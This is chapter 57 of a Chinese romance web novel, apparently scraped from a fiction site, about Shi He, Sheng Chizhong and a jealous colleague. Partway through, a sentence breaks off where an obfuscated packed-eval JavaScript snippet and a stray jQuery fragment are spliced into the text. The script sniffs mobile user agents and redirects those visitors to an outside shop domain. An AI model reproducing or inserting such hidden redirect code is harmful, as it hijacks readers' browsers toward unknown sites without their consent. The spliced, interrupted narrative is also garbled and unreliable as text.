文趣网 > 都市小说 > 拜托,他争着给我当狗哎 > 57. 第 57 章
    施荷由着他抱了一会儿,从不安悸动到心跳慢慢平稳,盛池中的呼吸也趋于平静。

    她知道他没睡着,闭着眼睛问:“你就不怕我真的再也不理你了?”

    “怕啊。”盛池中圈在她腰间的手收紧了几分,“我跪下来求你也不行吗?”

    “不行。”施荷冷面道。

    “那我就天天守在你家门口。”

    “你是变态还是狗啊?”她皱眉。

    盛池中闻言居然认真想了想:“还是当狗吧,给你当狗没什么不行的,最好拿个链子,天天把我拴你裤腰带上。”

    他说着还汪汪叫了两声:“忠诚。”

    “你神经病啊!”

    施荷说完爬起来,沙发上一下子空了许多,盛池中还在原地睁着无辜的眼睛,让他沙发上过夜确实有些委屈,何况那点儿睡意在这阵折腾中消失无踪,施荷骨碌碌跑到卧室,又骨碌碌窜出来,盛池中接过厚实的毯子和薄被,三下五除二在客厅铺了下来。

    毯子足够大,躺下他们两个人绰绰有余,施荷不困,便率先坐到左侧位置,背抵着沙发,找出一个月前热播的肥皂剧,因为工作太忙,她很久没赶上追播了。

    “累的时候看些无脑剧最能放松。”她解释,盛池中懵懵点头,像是进入了一个新世界。

    十分钟后,剧情进入到高潮部分,盛池中给施荷喂一口冰淇淋,指着屏幕上的男女主说:“他们是情侣?看着不像啊。”

    下一秒,女主就泪眼婆娑的问出盛池中心里的疑惑:“我们到底算什么关系!”

    男主角冷冷抬眼:“你什么都要问个清楚吗?现在这样不就很好?”

    “我对你来说到底算什么!你牵我抱我的时候,难道没有一丝丝心动吗,没有想过要负责吗!”

    “负责?那太麻烦。”男主笑了笑。

    但施荷没笑,因为她悚然发觉,男主说的话似乎和她的想法不谋而合,她在不知不觉间,扮演了那样始乱终弃的角色。

    不知是不是因为做贼心虚,她侧头瞄了眼盛池中,他正全神贯注盯大屏幕,而后朝她投来视线,那视线里总觉得有别的意思,他那么聪明的人,不可能没想到这。

    但施荷不敢问,问了就尴尬。

    与此同时男主角笑了笑:“如果你愿意维持这样的情况,我们就继续,不愿意就分。

    “你怎么喜欢看这种东西。”盛池中皱着眉说。

    施荷给他看这个,是暗示他什么吗?

    他不是想拖着施荷,感情总有一个循序渐进的过程,他总要好好追一阵子才显得有诚意,这跟剧里的渣男有本质区别!

    但既然施荷想快点,他也不介意推一推进度。

    施荷看着盛池中英挺的侧脸出神,不由得开始想,以前喜欢他什么呢,听话,体贴,让她有十足的安全感,可以充分满足掌控欲?

    但那是建立在他压抑自己想法的基础上,就像盛池中永远会介意项林的存在,而她永远不可能隔绝和项林的往来。人总是有自己的意识,如果她要选盛池中,就必须接受这一点。

    “又看,还想抱?”盛池中倏而出声,打破她的思绪。

    “抱你个头!”她捞起一个抱枕砸他脸上,他得逞地笑了,犹如冰川融化,春风十里,一路吹到她心上。

    算了,接受就接受,改变就改变吧。

    谁让他的笑实在太好看。

    电视剧还在放着,而两人都没心思继续。

    “谁知道几天没看,剧情就变这个鬼样子了,真是浪费时间。”施荷含含糊糊地说,蹭一下站起来关掉电视,“行了,睡觉。”

    两人都觉得自己是渣的那方,就这么各怀鬼胎过了一夜,是日早晨,施荷出房间时盛池中还在睡,她嘴里含着牙刷,踢了踢他:“起床。”

    “我停职了,我不上班。”盛池中打了个呵欠,迷迷糊糊地抓住她的脚踝,以为是抱枕就往脸边凑,后面觉得触感不对,怎么又香又滑。

    她无情抽开踹一脚,掀了他的被子,“不上班就回你家去,赖在我这算怎么回事儿。”

    盛池中闭着眼睛说睡醒就走,施荷想了想也行吧,抹了把脸就去公司。

    公司这几天的氛围有点怪。

    上回被盛池中一搅和,柏雀的局很快散了,钱安没拍成马屁,反而给了自己狠狠一耳光,处境尴尬得要命,项林显然也心情不佳。

    因为盛池中将施荷送回餐桌时对他笑了笑。

    他倒是说出了心里话,阴霾一扫而空,但项林的脸色更加难看,牙根都咬了起来。

    他想他再做不到熟视无睹,把一颗心捧出去,被人家拒了一次又一次,明明当时话说得那么潇洒漂亮,但这几天闭上眼睛就是盛池中和施荷在一起的画面。

    他甚至不费什么功夫就能描摹出那晚的场景,盛池中的手虚虚揽着她,眼睛全在她身上,而她也不反感,自然和盛池中站在同一片轮廓里,连影子的形状都是两人贴在一起,那么近,那么紧密,留不出给第三人的空隙。

    那么刺眼。

    项林走到百叶窗前,将窗叶虚虚拨开,施荷奋力敲着键盘,时不时翻看桌上的文件。她今天把头发挽在脑后,露出光洁漂亮的额头和曲线优美的脖颈,对项林的注视浑然不觉。

    直到卢静问事情,她答完的抬眼间发现项林,对他露出一个询问的眼神。

    百叶窗唰地合上。

    施荷:?

    良久,项林桌前的项目书未翻开一页,漆黑的电脑屏幕映照出他紧紧拧着的眉心。

    他到底差在哪儿?

    他一言不发,思考几秒后手指动了动,随即从通讯录里翻到一个号码打过去。

    “是我,过几天来一趟吧。对,就这周。”

    ......

    施荷上午工作很认真,于是良心很安地摸了整个下午的鱼,第一回五点半准时下班,同事打趣:“从来没看你这么急,家里有人在等?”

    她笑着摇头,盛池中应该早就回去了吧。

    只是连她自己都没发觉心里那股隐隐的期待,连脚步都比平时快

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845463|207694||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了几分,经过城中村时,也不再对环境感到隐隐压抑和烦躁。

    开锁,拉门,里头没人。

    施荷进去绕了一周确认后,没什么表情地瘫在沙发上。

    这才是正常的。

    突然就好累,浑身都酸胀,久坐导致的颈椎问题在此刻爆发,一定是大脑神经影响全身,要不怎么觉得空落落的。

    施荷垂着眼睛,今天懒得做饭,随便点家外卖好了。

    而就在这时候,门口响了两声,是锁芯转动的声音,她一愣,提着俩塑料袋站在门口的不是盛池中是谁。

    “进小区就看到你了,走那么快干嘛。”他朝她晃晃手上的备用钥匙,“门口脚垫底下发现的,以后别放这,不安全。”

    “有很快吗?”她问。

    “叫你几声都没听见。”盛池中嘀咕着换鞋,把菜放在桌上,“想着你没空做饭,到时候又是随便对付,去附近的饭店炒了几个菜。”

    都被他说中,施荷两腿搭在茶几上:“待会儿吃,腿疼。”

    “怎么就疼了,哪种疼?摔着了?”他有些着急。

    “没有,大概是乳酸堆积。”

    盛池中看了看茶几堆着的上各种贴片和药膏,选了一瓶说:“我给你揉揉。”

    “没那么矫情。”她哧了一声。

    盛池中好像听不见一样,莹白的手指挖了坨药膏在手上搓热,接着一把拉过她的脚,动作迅速到她来不及拒绝。

    “哎哎哎!”她叫出声,“你干什么,青天白日!”

    “又不是没看过。”盛池中一副公事公办的样子,“现在不推开过几天酸到你走不了路。”

    说着将药膏抹在她小腿上,施荷的腿又白又直,线条匀称,他看着,动作不自觉慢了几分,喉咙滚一下,别头咳嗽。

    下午六点半,正是最喧闹的时候,小小一方客厅却格外安静,只有几声来自窗外的鸟鸣,阳台上的衣服飘飘晾着,屋内冷气徐徐飘着,小腿上的温度让人无法忽视,明明他和她的接触面只有几个手指大小,但每一寸被碰过的地方都隐隐发着烫。

    施荷摸了摸后颈,也不自在,小声说:“还是吃饭去吧,都叫你别弄了......啊啊啊啊啊痛!!”

    “饭就在那儿跑不了。”

    或许是对于人体结构熟稔的缘故,盛池中看也不看都能精准找到她腿上疼痛的那个点,轻轻一按施荷便忍不住龇牙咧嘴:“轻点轻点儿!你要杀人啊这么大劲!”

    “还以为你很能忍痛。”他垂着眼睛没头没脑说了这么一句。

    “又不是以前了,叫个痛还有人管。”她顺口答。

    “怎么没有?”盛池中蹙眉,“我这不是在管你?”

    “啊你管你管,管天管地还管人怎么想!”施荷撇撇嘴,却在下一秒感到阵铺天盖地的酸爽,脚控制不住往前一踹!

    “跟你呛几句嘴也不用这么报复我吧!你真是......”

    她说到一半,住嘴了。

    盛池中捂着□□,痛苦地倒在地上。